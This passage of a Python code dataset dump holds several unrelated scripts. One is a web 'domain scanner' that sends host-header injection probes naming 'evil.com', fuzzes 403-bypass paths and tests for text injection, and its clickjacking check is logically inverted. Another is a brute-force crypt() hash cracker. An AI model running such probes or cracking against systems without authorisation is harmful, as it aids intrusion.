{}\".format(test_case, answer))","sub_path":"SW Expert Academy/디저트 카페.py","file_name":"디저트 카페.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"576060171","text":"# Based on code from https://github.com/tensorflow/cleverhans\n#\n# This is the code for the paper\n#\n# Certifying Some Distributional Robustness with Principled Adversarial Training\n# Link: https://openreview.net/forum?id=Hk6kPgZA-\n#\n# Authors: Aman Sinha, Hongseok Namkoong, John Duchi\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport keras\nimport numpy as np\nimport tensorflow as tf\nfrom keras.backend import manual_variable_initialization\nfrom tensorflow.python.platform import app\nfrom tensorflow.python.platform import flags\n\nfrom attacks import ABAttacker, PGDAttacker\nfrom utils import cnn_model\nfrom utils_mnist import data_mnist\nfrom utils_tf import model_train, model_eval\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_integer('nb_epochs', 25, 'Number of epochs to train model')\nflags.DEFINE_integer('batch_size', 256, 'Size of training batches')\nflags.DEFINE_float('learning_rate', 0.001, 'Learning rate for training')\nflags.DEFINE_string('train_dir', '.', 'Training directory')\nflags.DEFINE_string('filename_erm', 'erm.h5', 'Training directory')\nflags.DEFINE_string('filename_wrm', 'wrm.h5', 'Training directory')\n\ntrain_params = {\n 'nb_epochs': FLAGS.nb_epochs,\n 'batch_size': FLAGS.batch_size,\n 'learning_rate': FLAGS.learning_rate,\n}\neval_params = {'batch_size': FLAGS.batch_size}\n\nseed = 12345\nnp.random.seed(seed)\ntf.set_random_seed(seed)\n\n_LABELS = [3, 8]\n_NB_LOGITS = 2\n_BETA = 1\n\n\ndef filter_by_label(x, y, labels=_LABELS):\n index_filter = np.isin(np.argmax(y, axis=1), labels)\n y = y[index_filter]\n y = y[:, labels]\n return x[index_filter], y\n\n\ndef get_barrier(distance_boundary):\n return tf.exp(-_BETA * distance_boundary)\n\n\ndef main(argv=None):\n keras.layers.core.K.set_learning_phase(1)\n manual_variable_initialization(True)\n tf.reset_default_graph()\n\n # Create TF session and set as Keras backend session\n sess = tf.Session()\n keras.backend.set_session(sess)\n\n # Get MNIST test data\n x_train, y_train, x_test, y_test = data_mnist()\n x_train, y_train = filter_by_label(x_train, y_train)\n x_test, y_test = filter_by_label(x_test, y_test)\n\n assert y_train.shape[1] == _NB_LOGITS\n label_smooth = .1\n y_train = y_train.clip(label_smooth, 1. - label_smooth)\n\n # Define input TF placeholder\n x = tf.placeholder(tf.float32, shape=(None, 28, 28, 1))\n y = tf.placeholder(tf.float32, shape=(None, _NB_LOGITS))\n\n # Define TF model graph\n model = cnn_model(activation='elu', nb_classes=_NB_LOGITS)\n predictions = model(x)\n\n pgd = PGDAttacker(model, back='tf', sess=sess, eps=0.3, eps_iter=0.05, n_iter=5)\n adv_x = pgd.generate(x, y)\n predictions_adv_x = model(adv_x)\n\n def evaluate():\n # Evaluate the accuracy of the MNIST model on legitimate test examples\n accuracy = model_eval(sess, x, y, predictions, x_test, y_test, args=eval_params)\n print('Test accuracy on legitimate test examples: %0.4f' % accuracy)\n\n # Accuracy of the model on PGD adversarial examples\n accuracy_pgd = model_eval(sess, x, y, predictions_adv_x, x_test, y_test, args=eval_params)\n print('Test accuracy on PGD examples: %0.4f\\n' % accuracy_pgd)\n\n # Train the model\n model_train(sess, x, y, predictions, x_train, y_train, evaluate=evaluate, args=train_params,\n save=False)\n model.model.save(FLAGS.train_dir + '/' + FLAGS.filename_erm)\n\n print('')\n print(\"Repeating the process, using ABClassifier adversarial training\")\n # Redefine TF model graph\n model_adv = cnn_model(activation='elu')\n predictions_clean = model_adv(x)\n distance_boundary = ABAttacker(model_adv, sess=sess, L=10, C=10 * 28).get_distance(x, steps=15)\n loss = tf.nn.softmax_cross_entropy_with_logits(logits=predictions, labels=y) + get_barrier(\n distance_boundary)\n\n pgd = PGDAttacker(model_adv, back='tf', sess=sess, eps=0.3, eps_iter=0.05, n_iter=5)\n adv_x = pgd.generate(x, y)\n predictions_adv_x = model_adv(adv_x)\n\n # wrm2 = WassersteinRobustMethod(model_adv, sess=sess)\n # predictions_adv_adv_wrm = model_adv(wrm2.generate(x, **distance_params_params))\n\n def evaluate_adv():\n # Accuracy of adversarially trained model on legitimate test inputs\n accuracy = model_eval(sess, x, y, predictions_clean, x_test, y_test, args=eval_params)\n print('Test accuracy on legitimate test examples: %0.4f' % accuracy)\n\n # Accuracy of the adversarially trained model on Wasserstein adversarial examples\n accuracy_adv_wass = model_eval(sess, x, y, predictions_adv_x, x_test, y_test,\n args=eval_params)\n print('Test accuracy on PGD examples: %0.4f\\n' % accuracy_adv_wass)\n\n model_train(sess, x, y, predictions_clean, x_train, y_train,\n predictions_adv=predictions_adv_x, evaluate=evaluate_adv, args=train_params,\n save=False, loss=loss)\n model_adv.model.save(FLAGS.train_dir + '/' + FLAGS.filename_wrm)\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"train_mnist_models.py","file_name":"train_mnist_models.py","file_ext":"py","file_size_in_byte":5101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"571264666","text":"'''\nImage resizer script\nUsage: python seamresize.py [save_partials]\n\nNotice: This script requires the \"Python Image Library\" extension.\n\tYou can download it here : http://www.pythonware.com/products/pil/\n\n@author: Pierre de La Morinerie\nBased on the \"Seam Carving for Content-Aware Image Resizing\" paper\n\tby Shai Avidan and Ariel Shamir\n\t\nCopyright (c) 2009 Pierre de La Morinerie\n\n Permission is hereby granted, free of charge, to any person\n obtaining a copy of this software and associated documentation\n files (the \"Software\"), to deal in the Software without\n restriction, including without limitation the rights to use,\n copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following\n conditions:\n\n The above copyright notice and this permission notice shall be\n included in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n OTHER DEALINGS IN THE SOFTWARE.\n'''\n\nfrom PIL import Image, ImageFilter\nimport sys\nimport os\n\n'''Returns an energy function for processing the image'''\ndef energy(image):\n return e1(image);\n\n'''Returns a simple gradient map of the image'''\ndef e1(image):\n kh = ImageFilter.Kernel((3,3), (-1, 0, 1, -1, 0, 1, -1, 0 ,1), 1, 128)\n kv = ImageFilter.Kernel((3,3), (1, 1, 1, 0, 0, 0, -1, -1 , -1), 1, 128)\n \n hFilter = image.filter(kh).point(lambda i : abs(i-128))\n vFilter = image.filter(kv).point(lambda i : abs(i-128))\n \n return Image.blend(hFilter, vFilter, 0.5)\n\n'''Given an energy map, returns all the vertical seams'''\ndef computeSeams(energyMap):\n (width, height) = energyMap.size\n emap = energyMap.convert('L').load();\n \n costs = [];\n seams = [];\n \n # For each pixel column, compute a seam\n for col in range(0, width):\n currentCol = col\n cost = 0\n seam = [0]\n \n for row in range(1, height):\n # Look which underneath pixel (left, middle or right) has the least energy\n adj = (emap[currentCol-1, row] if (currentCol - 1 >= 0) else 1000,\n emap[currentCol , row],\n emap[currentCol+1, row] if (currentCol + 1 < width) else 1000)\n \n # Add the energy of the pixel to the total energy of the seam\n eMin = min(adj)\n cost += eMin\n \n # Did we move one pixel down on the left, middle or right ?\n offset = adj.index(eMin) - 1\n currentCol += offset\n \n # We now have a new value for this seam\n seam.append(offset)\n \n # Update the global costs and seams arrays with the computed cost and seam\n costs.append(cost)\n seams.append(seam)\n \n return (costs, seams)\n\n'''Given a filename, resize it by removing n pixels vertically'''\ndef resize(filename, pixels, partialSave=0):\n \n im = Image.open(filename)\n \n removedSeams = []\n \n for i in range(0, pixels):\n # Load the image\n (width, height) = im.size\n imap = im.load()\n \n # Find the energy map, and the least energy seam\n energyMap = energy(im)\n (costs, seams) = computeSeams(energyMap)\n \n bestSeamIndex = costs.index(min(costs))\n bestSeam = seams[costs.index(min(costs))]\n \n # Resize the image\n newim = Image.new(\"RGB\", (width - 1, height))\n newim.paste(im, (0, 0))\n \n newimmap = newim.load()\n (nwidth, nheight) = newim.size\n \n # ...and remove the least energy seam\n currentCol = bestSeamIndex\n for row in range(0, nheight):\n currentCol += bestSeam[row]\n for col in range(currentCol, nwidth):\n newimmap[col, row] = imap[col + 1, row]\n \n im = newim\n \n # Save partial result if requested\n if partialSave > 0 and (i % partialSave) == 0:\n im.save(\"resizePartials/pic\" + str(i) + \".png\") \n \n # Save removed seam\n removedSeams.append((bestSeamIndex, bestSeam)) \n \n return (im, removedSeams)\n\ndef enlarge(filename, pixels, partialSave):\n \n im = Image.open(filename) \n \n # Extract seams \n (dummy, seams) = resize(filename, pixels, 0)\n \n # Normalize indexes : if we removed a seam on the left of another one,\n # the start index of the seam will have an offset of one. Let's correct this.\n for n in range(0, len(seams) - 1):\n (removedCol, dummy) = seams[n]\n seams[n+1:] = [(col+1, seam) if col >= removedCol else (col, seam)\n\t\t\t\t\t for (col, seam) in seams[n+1:]]\n \n # Add seams where we would normally have removed them\n for i in range(0, pixels):\n \n (seamCol, bestSeam) = seams[i];\n \n (width, height) = im.size\n (width, height) = (width + 1, height)\n \n newim = Image.new(\"RGB\", (width, height))\n newim.paste(im, (0, 0))\n \n imap = im.load()\n newimmap = newim.load()\n \n currentCol = seamCol\n for row in range(0, height):\n currentCol += bestSeam[row]\n for col in range(currentCol + 1, width):\n newimmap[col, row] = imap[col - 1, row]\n \n im = newim\n \n # Update seams offset\n seams = [(pos, seam) if pos <= seamCol else (pos + 1, seam)\n\t\t\t\t for (pos, seam) in seams]\n \n # Save partial result if requested\n if partialSave > 0 and (i % partialSave) == 0:\n im.save(\"enlargePartials/pic\" + str(i) + \".png\") \n \n return (im, seams)\n\nif __name__ == '__main__':\n \n if len(sys.argv) < 4:\n sys.exit(\"Error: invalid arguments.\\nSyntax: python \" + sys.argv[0] + \" [save_partials]\")\n \n action = sys.argv[1]\n filename = sys.argv[2]\n pixels = int(sys.argv[3])\n \n partialSave = 0 if len(sys.argv) < 5 else int(sys.argv[4]) \n \n if action == \"resize\":\n operation = resize\n \n elif action == \"enlarge\":\n operation = enlarge\n else:\n sys.exit(\"Error: first argument must be a valid action type ('resize' or 'enlarge')\")\n \n # If needed, create partial folder\n if partialSave > 0 and not os.path.exists(action + 'Partials'):\n \tos.makedirs(action + 'Partials')\n\n # Process picture \n (image, dummy) = operation(filename, pixels, partialSave)\n image.save(action + \"_\" + str(pixels) + \".png\")\n image.show()","sub_path":"seamresize.py","file_name":"seamresize.py","file_ext":"py","file_size_in_byte":7041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"598113935","text":"import requests\nimport re\nfrom prettytable import PrettyTable\nimport pyfiglet\n#colors\nclass bcolors:\n OK = '\\033[92m' #GREEN\n WARNING = '\\033[93m' #YELLOW\n FAIL = '\\033[91m' #RED\n RESET = '\\033[0m' #RESET COLOR\n B = \"\\033[0;34;40m\" # Blue\n orange='\\033[43m' \n purple='\\033[45m'\n cyan='\\033[46m'\n lightgrey='\\033[47m'\n lightgrey='\\033[37m'\n darkgrey='\\033[90m'\n lightred='\\033[91m'\n pink='\\033[95m'\n\nascii_banner = pyfiglet.figlet_format(\"Domain Scanner!!\")\nprint(ascii_banner)\nprint(f\"{bcolors.pink}Author: Viraj Vaishnav{bcolors.RESET}\")\nprint(f\"{bcolors.pink}Follow on: https://twitter.com/VirajVaishnav16{bcolors.RESET}\")\na = input(f\"{bcolors.lightred}Path of target File:{bcolors.RESET} \")\nfile = open(a,'r')\nLines = file.readlines()\ncount = 0\nresult = list()\n#definig class for list \nclass Domains:\n def __init__(self,domain,url,status,reason):\n self.url = url\n self.status = status\n self.domain = domain\n self.reason = reason\n def __repr__(self):\n thistuple = tuple((self.domain,self.url, self.status,self.reason))\n return thistuple\n def taapu(self):\n tappu = tuple((self.domain,self.url, self.status,self.reason))\n return tappu\n\n\ndef get_my_key(obj):\n return obj[2]\n# reading each domain\nfor line in Lines:\n count +=1\n try: \n s = requests.Session()\n url = 'https://'+line.strip()\n r = s.get(url)\n domain_data = Domains(line.strip(),url,r.status_code,r.reason)\n result.append(domain_data.taapu())\n print(f\"{bcolors.OK}Target {count}: {line.strip()} ==> {r.status_code}\")\n #print(domain_data.taapu())\n r.close()\n \n \n except Exception:\n url = 'https://'+line.strip()\n result.append(Domains(line.strip(),url,0,\"no response\").taapu())\n #print(\"Target {}: {} ==> {}\".format(count,line.strip(),\"no domain found\"))\n print(f\"{bcolors.FAIL}Target {count}: {line.strip()} ==> no domain found\")\n \nresult.sort(key=get_my_key) # sorting\nresult = list(dict.fromkeys(result)) # removing duplicating \n\n\n\n# Declaring lists for further refrence:\nlist404 = list()\nlist403 = list()\nlist302 = list()\nlist200 = list()\n\n\nprint(bcolors.RESET)\ntable = PrettyTable(['Domain', 'url', 'Status Code','Server Said'])\ntable_fail = PrettyTable(['Domain', 'url', 'Status Code','Server Said'])\nfor rec in result:\n if rec[2] !=0:\n if rec[2] < 300:\n row = [bcolors.B+rec[0]+bcolors.RESET,bcolors.B+str(rec[1])+bcolors.RESET,bcolors.pink+str(rec[2])+bcolors.RESET,bcolors.pink+str(rec[3])+bcolors.RESET] # row must be a list , we can't pass Domains object as a list\n table.add_row(row)\n list200.append(rec)\n elif rec[2] < 400:\n row = [bcolors.B+rec[0]+bcolors.RESET,bcolors.B+str(rec[1])+bcolors.RESET,bcolors.orange+str(rec[2])+bcolors.RESET,bcolors.pink+str(rec[3])+bcolors.RESET] # row must be a list , we can't pass Domains object as a list\n table.add_row(row)\n list302.append(rec)\n elif rec[2] < 500:\n row = [bcolors.B+rec[0]+bcolors.RESET,bcolors.B+str(rec[1])+bcolors.RESET,bcolors.lightred+str(rec[2])+bcolors.RESET,bcolors.pink+str(rec[3])+bcolors.RESET] # row must be a list , we can't pass Domains object as a list\n table.add_row(row)\n if rec[2] == 404:\n list404.append(rec)\n else:\n list403.append(rec)\n else:\n row = [bcolors.B+rec[0]+bcolors.RESET,bcolors.B+str(rec[1])+bcolors.RESET,bcolors.lightgrey+str(rec[2])+bcolors.RESET,bcolors.pink+str(rec[3])+bcolors.RESET] # row must be a list , we can't pass Domains object as a list\n table.add_row(row)\n else:\n row = [bcolors.B+rec[0]+bcolors.RESET,bcolors.B+str(rec[1])+bcolors.RESET,bcolors.FAIL+\"Domain not found!!\"+bcolors.RESET,bcolors.pink+str(rec[3])+bcolors.RESET] # row must be a list , we can't pass Domains object as a list\n table_fail.add_row(row)\n \nprint(table)\nprint(table_fail)\n#print(list200)\n#print(list302)\n#print(list404)\n#print(list403)\n\n# ClickJacking \nlist_c = list200 + list302\nprint(f\"{bcolors.B}\"+\" Pages Vulnerable for ClickJacking Attacks...\"+f\"{bcolors.RESET}\")\nfor domain in list_c:\n s = requests.session()\n url = domain[1]\n r = s.get(url)\n x = str(r.headers)\n R = re.search(\"X-Frame-Options\", x)\n if R != None:\n print(f\"{bcolors.FAIL} [+]\"+url+f\"{bcolors.RESET}\")\n# Header Reflection\nlist_h = list200 + list302 + list403\nprint(f\"{bcolors.B}\"+\" Header Reflection.......\"+f\"{bcolors.RESET}\")\nfor domain in list_h:\n s = requests.session()\n url = domain[1]\n r1 = s.get(url,headers={'X-Forwarded-Host': 'evil.com'})\n r2 = s.get(url,headers={'X-Host': 'evil.com'})\n r3 = s.get(url,headers={'Host': 'https://evil.com','Cookie': 'evil :viraj'})\n r4 = s.get(url,headers={'Cookie': 'evil.com :viraj'})\n x1 = str(r1.headers)\n x1a = str(r1.text)\n x1b = str(r2.text)\n x1c = str(r3.text)\n x1d = str(r4.text)\n x2 = str(r2.headers)\n x3 = str(r3.headers)\n x4 = str(r4.headers)\n R1 = re.search(\"evil\",x1)\n R2 = re.search(\"evil\",x2)\n R3 = re.search(\"evil\",x3)\n R4 = re.search(\"evil\",x4)\n R1a = re.search(\"evil\",x1a)\n R1b = re.search(\"evil\",x1b)\n R1c = re.search(\"evil\",x1c)\n R1d = re.search(\"evil\",x1d)\n if R1 != None or R2 != None or R3 != None or R4 != None or R1a != None or R1b != None or R1c != None or R1d != None:\n print(f\"{bcolors.B}\"+url+f\"{bcolors.RESET}\")\n\n\n# 403 forbidden bypass:\nprint(f\"{bcolors.B}\"+\" 403 Bypass.......\"+f\"{bcolors.RESET}\")\ntable_403bypass = PrettyTable(['Domain', 'url', 'Payload','status','Server Said'])\nfor domain in list403:\n # Test 1 , GET => POST\n s = requests.session()\n url = domain[1]\n custom_header = {\"Content-Length\": \"0\"}\n r = s.post(url,headers = custom_header)\n if r.status_code != 403 and r.status_code != 404:\n row = [bcolors.B+domain[0]+bcolors.RESET,bcolors.B+str(domain[1])+bcolors.RESET,bcolors.pink+str(custom_header)+bcolors.RESET,bcolors.pink+str(r.status_code)+bcolors.RESET,bcolors.orange+r.reason+bcolors.RESET] \n table_403bypass.add_row(row)\n r.close()\n # Test 2 applying parameter\n url = domain[1] + \"FUZZ\"\n list = [\"/.css\",\"/?.css\",\"/.svg\",\"/?.svg\",\"/.png\",\"/?.png\",\"//\",\"/%20/\",\"/%2e/\",\"/.../\",\"/./\",\"?css\",\"?.css\",\"/.;/\",\"#\"]\n for l in list:\n url = url.replace(\"FUZZ\",l)\n s = requests.session()\n r = s.get(url)\n if r.status_code != 403 and r.status_code != 404:\n row = [bcolors.B+domain[0]+bcolors.RESET,bcolors.B+str(domain[1])+bcolors.RESET,bcolors.pink+url+bcolors.RESET,bcolors.pink+str(r.status_code)+bcolors.RESET,bcolors.orange+r.reason+bcolors.RESET] \n table_403bypass.add_row(row)\n r.close()\n url = domain[1] + \"FUZZ\"\nprint(table_403bypass)\nprint(f\"{bcolors.B}\"+\" Text Injection.......\"+f\"{bcolors.RESET}\")\n# Reflection for Test Injection:\ntable_text_injection = PrettyTable(['Domain', 'url','status'])\nlist_reflection = list403 + list404\nfor domain in list403:\n s = requests.session()\n url = domain[1] + \"/Viraj\"\n r = s.get(url)\n R = re.search(\"Viraj\",str(r.text))\n if R != None:\n print(f\"{bcolors.OK}Vulnerable Page: {url} ==> {r.status_code}\")\n r.close() \n \n","sub_path":"scripts/domain-scanner.py","file_name":"domain-scanner.py","file_ext":"py","file_size_in_byte":7675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"415926194","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport os\nimport numpy as np\nimport deeppy as dp\n\n\ndef run():\n # Prepare data\n dataset = dp.datasets.MNIST()\n x, y = dataset.data(flat=True)\n x = x.astype(dp.float_)/255.0\n y = y.astype(dp.int_)\n train_idx, test_idx = dataset.split()\n x_train = x[train_idx]\n y_train = y[train_idx]\n x_test = x[test_idx]\n y_test = y[test_idx]\n train_input = dp.SupervisedInput(x_train, y_train, batch_size=128)\n test_input = dp.SupervisedInput(x_test, y_test)\n\n # Setup neural network\n nn = dp.NeuralNetwork(\n layers=[\n dp.FullyConnected(\n n_output=800,\n weights=dp.Parameter(dp.NormalFiller(sigma=0.1),\n penalty=('l2', 0.0001)),\n ),\n dp.Activation('relu'),\n dp.FullyConnected(\n n_output=800,\n weights=dp.Parameter(dp.NormalFiller(sigma=0.1),\n penalty=('l2', 0.0001)),\n ),\n dp.Activation('relu'),\n dp.FullyConnected(\n n_output=dataset.n_classes,\n weights=dp.Parameter(dp.NormalFiller(sigma=0.1),\n penalty=('l2', 0.0001)),\n ),\n dp.MultinomialLogReg(),\n ],\n )\n\n # Train neural network\n def valid_error():\n return nn.error(test_input)\n trainer = dp.StochasticGradientDescent(\n max_epochs=25,\n learn_rule=dp.Momentum(learn_rate=0.1, momentum=0.9),\n )\n trainer.train(nn, train_input, valid_error)\n\n # Visualize weights from first layer\n W = next(np.array(layer.params()[0].values) for layer in nn.layers\n if isinstance(layer, dp.FullyConnected))\n W = np.reshape(W.T, (-1, 28, 28))\n dp.misc.img_save(dp.misc.img_tile(dp.misc.img_stretch(W)),\n os.path.join('mnist', 'mlp_weights.png'))\n\n # Evaluate on test data\n error = nn.error(test_input)\n print('Test error rate: %.4f' % error)\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"examples/mlp_mnist.py","file_name":"mlp_mnist.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"351644783","text":"'''\nGiven a list of non-negative numbers and a target integer k, \nwrite a function to check if the array has a continuous subarray of size at least 2 \nthat sums up to the multiple of k, that is, sums up to n*k where n is also an integer.\n'''\nclass Solution(object):\n def checkSubarraySum(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: bool\n \"\"\"\n sums = [0 for _ in range(len(nums))]\n sums[0] = nums[0]\n \n for i in range(1, len(nums)):\n sums[i] = sums[i-1] + nums[i]\n \n for start in range(len(nums)):\n for end in range(start+1, len(nums)):\n temp = sums[end] - sums[start] + nums[start]\n if temp == k or (k != 0 and temp % k == 0):\n return True\n \n return False\n","sub_path":"2019/f/523-continuous-subarray-sum.py","file_name":"523-continuous-subarray-sum.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"178263225","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''第 0014 题: 纯文本文件 student.txt为学生信息, 里面的内容(包括花括号)如下所示:\n{\n \"1\":[\"张三\",150,120,100],\n \"2\":[\"李四\",90,99,95],\n \"3\":[\"王五\",60,66,68]\n}\n请将上述内容写到 student.xls 文件中。'''\n\n\n\n\n\nfrom openpyxl import Workbook\nimport json\n\ndef txt_to_xls(filename):\n file = open(filename,'r', encoding='utf-8')\n file_cintent = json.load(file, encoding='utf-8')\n wb = Workbook()\n sheet = wb.active\n sheet.title = 'Students'\n for i in range(1,len(file_cintent)+1):\n sheet.cell(row=i, column = 1).value = i\n print(file_cintent)\n list = file_cintent.get(str(i))\n j = 2\n for cell in list:\n sheet.cell(row=i, column=j).value = cell\n j += 1\n\n\n wb.save('student.xlsx')\n\n\ntxt_to_xls('student.txt')\n","sub_path":"zxw-python-code/0014/0014.py","file_name":"0014.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"266882922","text":"import cPickle as pickle\nfrom txamqp.content import Content\n\nclass PDU(Content):\n pickleProtocol = pickle.HIGHEST_PROTOCOL\n\n def pickle(self, data):\n return pickle.dumps(data, self.pickleProtocol)\n\n def __init__(self, body=\"\", children=None, properties=None, pickleProtocol=2):\n self.pickleProtocol = pickleProtocol\n\n body = self.pickle(body)\n\n Content.__init__(self, body, children, properties)\n\nclass RoutedDeliverSmContent(PDU):\n def __init__(self, deliver_sm, msgid, scid, dc, trycount=0, pickleProtocol=2):\n props = {}\n\n props['message-id'] = msgid\n props['headers'] = {\n 'src-connector-id': scid,\n 'dst-connector-id': dc.cid,\n 'dst-connector': self.pickle(dc),\n 'try-count': trycount}\n\n PDU.__init__(self, deliver_sm, properties=props, pickleProtocol=pickleProtocol)\n","sub_path":"jasmin/routing/content.py","file_name":"content.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"104749457","text":"# -*- coding: utf-8 -*-\n# @Time : 2018\\5\\24 0024 17:01\n# @Author : Y\n# @File : api_request.py\n# @Software: PyCharm\nimport requests\nfrom interface_util.log import Log\nimport json as jj\nfrom business.get_token import get_token\nfrom interface_util.readConfig import ReadConfig\n\nlog = Log()\ntoken = get_token()\nclass TestApi(object):\n '''\n 接口请求类,传入参数使用getcode/getjson方法即可发送请求。其中有的参数时为了构造日志内容添加进去的\n '''\n def __init__(self,methon,url,data=None,json=None,headers=None,casename=None,detail=None):\n self.casename = casename\n self.detail = detail\n log.info(\"【%s%s】接口请求的数据准备中\"% (casename,detail))\n self.methon = methon\n log.info(\"【%s%s】接口请求METHON:%s\"% (casename,detail,methon))\n self.url = url\n log.info(\"【%s%s】接口请求URL:%s\" % (casename, detail,url))\n self.data = data\n log.info(\"【%s%s】接口请求DATA参数:%s\" % (casename, detail,data))\n # self.headers = headers\n # log.info(\"请求头部信息:%s\" % headers )\n # json参数的处理:应为excel读取的数据为字符串,发送请求时会出现参数错误的报错,就使用json.loads方法将字符串转化成python字典给headers=识别\n # data接收参数时字符串,headers和json接收参数为字典\n if headers== \"\":\n self.headers = headers\n log.info(\"【%s%s】接口请求头部信息:%s\" % (casename, detail, self.headers))\n else:\n\n self.headers = jj.loads(headers)\n self.headers['authorization'] = token\n log.info(\"【%s%s】接口请求头部信息:%s\" % (casename, detail, self.headers))\n # self.json =json\n # log.info(\"请求json参数:%s\" % json)\n\n\n\n @property\n def testApi(self):\n '''\n 请求方法的封装,目前只提供get、post请求。设计:通过下面的getcode/getjson方法 用@property来讲testApi当做类的属性调用(不用实例化类对象)\n :return: 请求返回的response\n '''\n # 根据不同的访问方式来访问接口\n try:\n # result = requests.session()\n if self.methon == 'get':\n if self.data == \"\":\n response = requests.get(self.url,headers=self.headers)\n log.info(\"【%s】接口%s请求无参数请求发起\"% (self.casename,self.methon))\n else:\n response = requests.get(self.url,params=self.data,headers=self.headers)\n log.info(\"【%s】接口%s请求有参数请求发起\" % (self.casename, self.methon))\n\n elif self.methon == 'post':\n if self.data == \"\":\n response = requests.post(self.url, headers=self.headers)\n log.info(\"【%s】接口%s请求无参数请求发起\" % (self.casename, self.methon))\n else:\n #result = requests.post(self.url,data=(self.data).encode('utf-8'),headers=self.headers)\n response = requests.post(self.url, data=self.data, headers=self.headers)\n log.info(\"【%s】接口%s请求data参数请求发起\" % (self.casename, self.methon))\n else:\n log.debug(\"请求方法无效\")\n return response\n except:\n log.error(\"【%s】请求发起失败\"% self.casename)\n\n\n def getCode(self):\n # 获取访问接口的状态码\n code = self.testApi.status_code\n log.info(\"【%s】接口获取接口返回值:%s\"%(self.casename,code))\n return code\n\n def getJson(self):\n # 获取访问接口的json数据\n json_data = self.testApi.json()\n log.info(\"【%s】接口获取接口返回json数据:%s\" % (self.casename, json_data))\n return json_data\n\nif __name__ == '__main__':\n api = TestApi(methon='post', url=\"http://192.168.0.133:9097/app/members/login\",json={\"password\": \"yu1234\",\"principalName\": \"18973019192\",\"type\": 1},headers={\"Content-Type\": \"application/json\"})\n print(api.getCode())\n print(api.getJson()['token'])\n # api2 = TestApi(casename=\"检验手机号是否存在\",methon=\"Get\",url=\"http://192.168.0.133:9097/app/members/check/18973019192\",data={\"account_type\":1})\n # api2.getCode()\n # api2.getJson()\n #测试接口返回值\n # if api.testApi:\n # print(\"yse\")","sub_path":"InterFaceStudy/SimpleInterface/business/api_request.py","file_name":"api_request.py","file_ext":"py","file_size_in_byte":4500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"516669295","text":"import sys\nsys.path.append('..')\nfrom board import Board\nfrom piece import Piece\n\ndef test_has_piece():\n # Simple test to assert has_piece detects a piece on a given position.\n test_board = Board([Piece('12WY'), Piece('26BY'), Piece('8WN')], 'W')\n assert test_board.has_piece(26) == True\n assert test_board.has_piece(10) == False\n\ndef test_get_row_number():\n # Asserts if get_row_number correctly returns the row for a given position. The first row is 0.\n # Positions are also zero-indexed.\n test_board = Board([], 'W')\n assert test_board.get_row_number(2) == 0\n assert test_board.get_row_number(3) == 0\n assert test_board.get_row_number(4) == 1\n\ndef test_get_col_number():\n # Asserts if get_col_number correctly returns the column for a given position. The first column is 0.\n test_board = Board([], 'B')\n assert test_board.get_col_number(0) == 0\n assert test_board.get_col_number(1) == 2\n assert test_board.get_col_number(4) == 1\n assert test_board.get_col_number(31) == 7\n\ndef test_get_row():\n # Checks if a row is properly returned.\n test_white = Piece('4WN')\n test_black = Piece('6BN')\n test_board = Board([test_white, test_black], 'B')\n assert test_board.get_row(1) == {test_white, test_black}\n\ndef test_get_pieces_by_coords():\n # This method should receive (row, column) pairs and return the pieces on these coordinates.\n test_piece = Piece('8WN')\n test_board = Board([test_piece], 'W')\n assert test_board.get_pieces_by_coords((2, 0), (3, 0)) == [test_piece, None]","sub_path":"tests/test_board.py","file_name":"test_board.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"175141722","text":"import crypt\nimport sys\nimport itertools\n\n# Magic numbers\nALPHALEN = 26\n\n\ndef main():\n \"\"\"Converting command line arguments and calling crack function\"\"\"\n if len(sys.argv) != 2:\n print(\"Usage: python crack hash\")\n sys.exit(1)\n\n # Convert hash and salt from user input\n var_salt = \"\".join(sys.argv[1][:2])\n var_hash = \"\".join(sys.argv[1])\n\n # Call last permutation first for efficiency reasons\n crack(\"AAAAA\", var_hash, var_salt)\n\n # Create permutations of lower and uppercase a for password length 1 to 5\n for i in range(1, 6):\n perm = list(itertools.product(\"aA\", repeat=i))\n for s in perm:\n crack(\"\".join(s), var_hash, var_salt)\n\n\ndef check(pw, var_hash, var_salt, index):\n \"\"\"Compare user input hash with generated hash using crypt function\"\"\"\n\n # Shift pw by loop's index number\n tmp = 